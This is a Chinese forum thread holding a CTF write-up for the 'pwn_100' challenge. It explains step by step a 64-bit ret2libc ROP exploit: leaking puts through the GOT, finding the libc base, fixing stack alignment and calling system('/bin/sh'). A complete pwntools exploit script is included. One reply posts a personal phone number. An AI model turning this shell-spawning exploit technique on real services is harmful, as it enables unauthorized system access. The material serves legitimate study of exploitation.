HNHuangJingYU 发表于 2021-11-15 14:01

pwn 64位构造libc获取sh踩坑(例题pwn_100)

本帖最后由 HNHuangJingYU 于 2021-11-15 21:26 编辑

看了网上的wp好像也没完全说明payload的具体来源,为什么要这样写,害,我又是个好奇虫,每个payload都想搞清楚为什么,所以希望能帮到现在找不到资料的pwner们。。


这个题目在攻防世界里面,没有system,通过libc构造,分析题目如下:


这里传入了3个值,查看汇编代码可知实际函数只使用了参数一、参数二,那么这里a2就是200,里面的for循环也就是循环200次每次从控制台接收输入,也就题目会这样子写了,就是把读写进缓存区分成了200次,当然你也可以每次只输入1个字符那么输入200次后就是刚刚将你输入的内容全部读入,如果你第一次输入199个那么下一处就只用输入1个就可以满足条件了,那么payload如下:


plt=e.plt["puts"]
got=e.got["puts"]

prdi = 0x0000000000400763
start_addr=0x400550#程序开始地址start函数处
exit_addr = 0x4006FF #程序结束地址 main函数return处

payload = b'A'*0x40 + b'B'*8   +p64(prdi) + p64(got) + p64(plt) + p64(start_addr)
success(str(len(payload))) #前部分payload刚好104个字节
payload += b'C'*96#加上96刚好可以满足200跳出循环,,就这里我看很多wp都是直接加上200
sl(payload)#一次全部给他发送满200个数据,然后for就会退出循环




就加上200那里我有点不明白,如果加了200那不就会占据多余的栈空间吗,而且我试了网上很多的wp几乎没有跑出来的(我用的Ubuntu18)可能也是18栈对齐的一些原因吧,没办法我只好自己硬嗑原理,所以为了构造完美rop链就通过计算在后面加上96个字节使它刚好跳出循环。


然后在控制台上接收我们打印的libc真实地址




ru('bye~\n')
leak = u64(ru('\n')[:-1].ljust(8,b'\0'))
success('leak -> 0x%x',leak)#这里一定要去掉\n除了特定符号以\x0a或者\x00结尾(换行、字符串、动态基址)正常got函数地址都是没有的,所以这里一般没有以这两个字符结尾


接下来就是libc基址了


libc = LibcSearcher('puts',leak)
libc_base = leak - libc.dump('puts')
success('libcbase -> 0x%x',libc_base) #如果libcbase打印出来以00结尾那么基本就没错


再次构造ROP获取shell


#payload= b'A'*0x40 + b'B'*8+p64(prdi) + p64(libc_base + libc.dump('str_bin_sh')) + p64(libc_base + libc.dump('system')) + p64(start_addr) #原payload
payload= b'A'*0x40 + b'B'*7+p64(prdi) + p64(libc_base + libc.dump('str_bin_sh')) + p64(exit_addr) + p64(libc_base + libc.dump('system'))
success(str(len(payload)))
payload += b'C'*96 #这里就无所谓了设置200也行,收尾阶段不把程序搞奔溃就没事




可以看到上面我注释了一段payload,我叫它为‘p原’,在我获取了libc的地址后我高高兴兴的写出这个标准的64位ROP链,运行程序就发送奔溃了,然后我第一反应是栈对齐问题,打开gdb调试准备看看我构造的ROP链是否真的被完好执行




可以看到我构造的ROP链理想情况下是跳到pop rdi处执行但是这里就ret到了一个8个字节长度的地址,一看就不对,程序肯定报找不到地址的错误


然后我发现了上面rsp,也就是我填充的rbp的值,按照道理来说是8个B(这也是我区分缓冲区(A)和rbp(B)的原因,我看别人wp都是直接将填充rbp 的数据都用缓冲区数据一起代替,这不这题就踩坑了,估计找半天原因哈哈哈哈),找到了原因就好办了,因为我rbp给了8个值前面的缓存区值给多了一个,那么再改一次payload看看效果(这里是用原payload进行实验,为了给大家看看错误知道原理)



payload= b'A'*0x40 + b'B'*7+p64(prdi) + p64(libc_base + libc.dump('str_bin_sh')) + p64(libc_base + libc.dump('system')) + p64(start_addr) #原payload





果然没错一下子就正常了,但是程序依旧报错,嗯。既然程序执行到了do_system函数还是报错,那么原因只有一个那就是栈没对齐,果断的去看看栈空间

哈哈哈,是吧,又验证了我的猜想一波,那么最后再改一下payload,因为是自己构造的system所以有点不一样,之前都是有后门函数给他地址+1就ok了,所以我在程序在跳转到system函数前我让它先进入到ret指令处再跳到system,完全不影响程序流程,单纯是为了对齐栈空间
那么payload如下:
payload= b'A'*0x40 + b'B'*7+p64(prdi) + p64(libc_base + libc.dump('str_bin_sh')) + p64(exit_addr) + p64(libc_base + libc.dump('system'))

为了验证猜想,那就再看看我构造的完美ROP链吧完整代码如下:




from pwn import *
from LibcSearcher import *
context (log_level = 'debug' ,bits= 64,os = 'linux' ,arch = 'amd64' ,terminal = ['gnome-terminal' , '-x','sh', '-c'])
#context (log_level = 'debug' ,bits= 64,os = 'linux' ,arch = 'amd64' ,terminal = ['tmux' , 'splitw', '-h'])


local = 1
binary_name = "pwn-100"
ip = "111.200.241.244"
port = 60408

if local:
         p = process(["./" + binary_name])
         e = ELF("./" + binary_name)
         # libc = e.libc
else:
         p = remote(ip, port)
         e = ELF("./" + binary_name)
         # libc = ELF("libc-2.23.so")


def z(a=''):
         if local:
               gdb.attach(p, a)
               if a == '':
                         raw_input()
         else:
               pass

ru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)

plt=e.plt["puts"]
got=e.got["puts"]
#func=e.symbols["vulnerable_function"]

#libc=ELF("./libc_32.so.6")

prdi = 0x0000000000400763
start_addr=0x400550#程序开始地址
exit_addr = 0x4006FF #程序结束地址

z('b *0x4006B1')
#payload = b'C'*96
payload = b'A'*0x40 + b'B'*8   +p64(prdi) + p64(got) + p64(plt) + p64(start_addr)
success(str(len(payload))) #104
payload += b'C'*96#刚好可以满足200跳出循环
sl(payload)

ru('bye~\n')
leak = u64(ru('\n')[:-1].ljust(8,b'\0'))
success('leak -> 0x%x',leak) #

libc = LibcSearcher('puts',leak)
libc_base = leak - libc.dump('puts')
success('libcbase -> 0x%x',libc_base) #如果libcbase打印出来以00结尾那么基本就没错

#payload= b'A'*0x40 + b'B'*7+p64(prdi) + p64(libc_base + libc.dump('str_bin_sh')) + p64(libc_base + libc.dump('system')) + p64(start_addr)
payload= b'A'*0x40 + b'B'*7+p64(prdi) + p64(libc_base + libc.dump('str_bin_sh')) + p64(exit_addr) + p64(libc_base + libc.dump('system'))
success(str(len(payload)))
payload += b'C'*96
sl(payload)
p.interactive()









最后就可以进入大家想看到的交互模式了

jffwoo 发表于 2022-4-1 08:31

HNHuangJingYU 发表于 2022-3-30 17:59
会C语言和一点点汇编就行,我觉得pwn是ctf最简单的。。。

老师可否加个微信,真心想向您请教学习,手机号和微信同号18905604369

HNHuangJingYU 发表于 2022-3-30 17:59

本帖最后由 HNHuangJingYU 于 2022-4-2 01:36 编辑

jffwoo 发表于 2022-3-29 22:27
特别想学ctf里面的pwn,但是感觉太难了,不知道从何搞起
CTF主要是兴趣和思维,懂c和汇编就ok

ai123456 发表于 2021-11-15 14:58

谢谢分享

lgmzyy 发表于 2021-11-15 15:15

感谢分析,学习中。。

lichuanqing 发表于 2021-11-15 15:51

很不错,感谢分享

SMQAQWO 发表于 2021-11-15 20:20

感谢大佬分享 爱你{:1_899:}

makishiro 发表于 2021-11-15 20:31

多谢大佬分享{:301_993:}

咔c君 发表于 2021-11-15 21:07

学习了不错

Llady 发表于 2021-11-16 07:22

感谢分享, 新人学习学习

ERROR: 发表于 2021-11-16 08:09

很详细的payload解析

surname26 发表于 2021-11-16 15:26

谢谢大佬分享
页: [1] 2 3
查看完整版本: pwn 64位构造libc获取sh踩坑(例题pwn_100)